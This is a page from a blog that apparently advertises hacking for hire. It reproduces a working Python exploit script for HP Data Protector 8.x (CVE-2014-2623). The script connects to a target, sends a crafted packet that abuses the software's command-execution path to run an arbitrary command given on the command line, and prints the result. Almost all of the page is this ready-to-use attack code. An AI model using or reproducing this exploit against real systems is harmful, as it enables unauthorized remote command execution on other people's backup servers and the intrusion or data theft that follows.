Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86388925

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python

# Exploit Title: HP-Data-Protector-8.x Remote command execution.
# Google Dork: -
# Date: 30/01/2015
# Exploit Author: Juttikhun Khamchaiyaphum
# Vendor Homepage: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818
# Software Link: http://www8.hp.com/th/en/software-solutions/data-protector-backup-recovery-software/
# Version: 8.x
# Tested on: IA64 HP Server Rx3600
# CVE : CVE-2014-2623
# Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. "uname -m">"

import socket
import struct
import sys

def exploit(host, port, command):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((host, port))
        print "[+] Target connected."

        OFFSET_DEC_START = 133
        OFFSET_DEC = (OFFSET_DEC_START + len(command))
        # print "OFFSET_DEC_START:" + str(OFFSET_DEC_START)
        # print "len(command)" + str(len(command))
        # print "OFFSET_DEC" + str(OFFSET_DEC)
        OFFSET_HEX = "%x" % OFFSET_DEC
        # print "OFFSET_HEX" + str(OFFSET_HEX)
        OFFSET_USE = chr(OFFSET_DEC)
        # print "Command Length: " + str(len(command))
        PACKET_DATA = "\x00\x00\x00"+\
        OFFSET_USE+\
        "\x20\x32\x00\x20\x73\x73\x73\x73\x73\x73\x00\x20\x30" + \
        "\x00\x20\x54\x45\x53\x54\x45\x52\x00\x20\x74\x65\x73\x74\x65\x72\x00" + \
        "\x20\x43\x00\x20\x32\x30\x00\x20\x74\x65\x73\x65\x72\x74\x65\x73\x74" + \
        "\x2E\x65\x78\x65\x00\x20\x72\x65\x73\x65\x61\x72\x63\x68\x00\x20\x2F" + \
        "\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75" + \
        "\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x30\x00" + \
        "\x20\x32\x00\x20\x75\x74\x69\x6C\x6E\x73\x2F\x64\x65\x74\x61\x63\x68" + \
        "\x00\x20\x2D\x64\x69\x72\x20\x2F\x62\x69\x6E\x20\x2D\x63\x6F\x6D\x20" + \
        " %s\x00" %command

        # Send payload to target
        print "[+] Sending PACKET_DATA"
        sock.sendall(PACKET_DATA)

        # Parse the response back
        print "[*] Result:"
        while True:
            response = sock.recv(2048)
            if not response: break
            print response

    except Exception as ex:
        print >> sys.stderr, "[-] Socket error: \n\t%s" % ex
        exit(-3)
    sock.close()

if __name__ == "__main__":
    try:
        target = sys.argv[1]
        port = int(sys.argv[2])
        command = sys.argv[3]
        exploit(target, port, command)
    except IndexError:
         print("Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. \"uname -m\">")
    exit(0)